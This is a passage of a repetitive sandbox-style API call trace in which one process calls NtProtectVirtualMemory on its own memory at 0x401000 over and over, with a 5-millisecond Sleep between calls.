BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.198] Sleep (dwMilliseconds=0x5) [0296.244] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.245] Sleep (dwMilliseconds=0x5) [0296.292] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.293] Sleep (dwMilliseconds=0x5) [0296.336] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.337] Sleep (dwMilliseconds=0x5) [0296.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.519] Sleep (dwMilliseconds=0x5) [0296.567] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.568] Sleep (dwMilliseconds=0x5) [0296.611] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.612] Sleep (dwMilliseconds=0x5) [0296.661] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.662] Sleep (dwMilliseconds=0x5) [0296.711] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.712] Sleep (dwMilliseconds=0x5) [0296.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.813] Sleep (dwMilliseconds=0x5) [0296.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.862] Sleep (dwMilliseconds=0x5) [0296.910] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.911] Sleep (dwMilliseconds=0x5) [0296.953] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0296.954] Sleep (dwMilliseconds=0x5) [0297.003] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.013] Sleep (dwMilliseconds=0x5) [0297.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.047] Sleep (dwMilliseconds=0x5) [0297.097] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.098] Sleep (dwMilliseconds=0x5) [0297.153] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.154] Sleep (dwMilliseconds=0x5) [0297.218] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.219] Sleep (dwMilliseconds=0x5) [0297.268] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.269] Sleep (dwMilliseconds=0x5) [0297.310] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.311] Sleep (dwMilliseconds=0x5) [0297.361] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.362] Sleep (dwMilliseconds=0x5) [0297.410] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.411] Sleep (dwMilliseconds=0x5) [0297.450] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.450] Sleep (dwMilliseconds=0x5) [0297.494] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.495] Sleep (dwMilliseconds=0x5) [0297.544] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.544] Sleep (dwMilliseconds=0x5) [0297.588] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.589] Sleep (dwMilliseconds=0x5) [0297.636] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.637] Sleep (dwMilliseconds=0x5) [0297.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.687] Sleep (dwMilliseconds=0x5) [0297.749] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.750] Sleep (dwMilliseconds=0x5) [0297.795] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.796] Sleep (dwMilliseconds=0x5) [0297.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.840] Sleep (dwMilliseconds=0x5) [0297.888] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.889] Sleep (dwMilliseconds=0x5) [0297.934] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.935] Sleep (dwMilliseconds=0x5) [0297.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0297.984] Sleep (dwMilliseconds=0x5) [0298.029] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.030] Sleep (dwMilliseconds=0x5) [0298.072] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.073] Sleep (dwMilliseconds=0x5) [0298.120] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.121] Sleep (dwMilliseconds=0x5) [0298.181] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.181] Sleep (dwMilliseconds=0x5) [0298.232] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.233] Sleep (dwMilliseconds=0x5) [0298.275] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.276] Sleep (dwMilliseconds=0x5) [0298.325] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.326] Sleep (dwMilliseconds=0x5) [0298.369] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.369] Sleep (dwMilliseconds=0x5) [0298.422] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.423] Sleep (dwMilliseconds=0x5) [0298.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.478] Sleep (dwMilliseconds=0x5) [0298.532] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.533] Sleep (dwMilliseconds=0x5) [0298.574] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.575] Sleep (dwMilliseconds=0x5) [0298.622] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.622] Sleep (dwMilliseconds=0x5) [0298.670] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.671] Sleep (dwMilliseconds=0x5) [0298.718] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.719] Sleep (dwMilliseconds=0x5) [0298.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.792] Sleep (dwMilliseconds=0x5) [0298.841] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.842] Sleep (dwMilliseconds=0x5) [0298.887] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.888] Sleep (dwMilliseconds=0x5) [0298.936] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.936] Sleep (dwMilliseconds=0x5) [0298.984] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0298.985] Sleep (dwMilliseconds=0x5) [0299.036] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.037] Sleep (dwMilliseconds=0x5) [0299.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.095] Sleep (dwMilliseconds=0x5) [0299.138] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.139] Sleep (dwMilliseconds=0x5) [0299.198] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.199] Sleep (dwMilliseconds=0x5) [0299.246] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.247] Sleep (dwMilliseconds=0x5) [0299.293] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.294] Sleep (dwMilliseconds=0x5) [0299.341] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.342] Sleep (dwMilliseconds=0x5) [0299.384] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.385] Sleep (dwMilliseconds=0x5) [0299.433] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.433] Sleep (dwMilliseconds=0x5) [0299.483] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.483] Sleep (dwMilliseconds=0x5) [0299.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.529] Sleep (dwMilliseconds=0x5) [0299.577] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.578] Sleep (dwMilliseconds=0x5) [0299.619] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.620] Sleep (dwMilliseconds=0x5) [0299.669] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.670] Sleep (dwMilliseconds=0x5) [0299.717] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.718] Sleep (dwMilliseconds=0x5) [0299.794] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.795] Sleep (dwMilliseconds=0x5) [0299.845] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.846] Sleep (dwMilliseconds=0x5) [0299.889] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.890] Sleep (dwMilliseconds=0x5) [0299.938] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0299.939] Sleep (dwMilliseconds=0x5) [0300.032] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.032] Sleep (dwMilliseconds=0x5) [0300.080] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0300.081] Sleep (dwMilliseconds=0x5) [0300.127] NtProtectVirtualMemory (in: 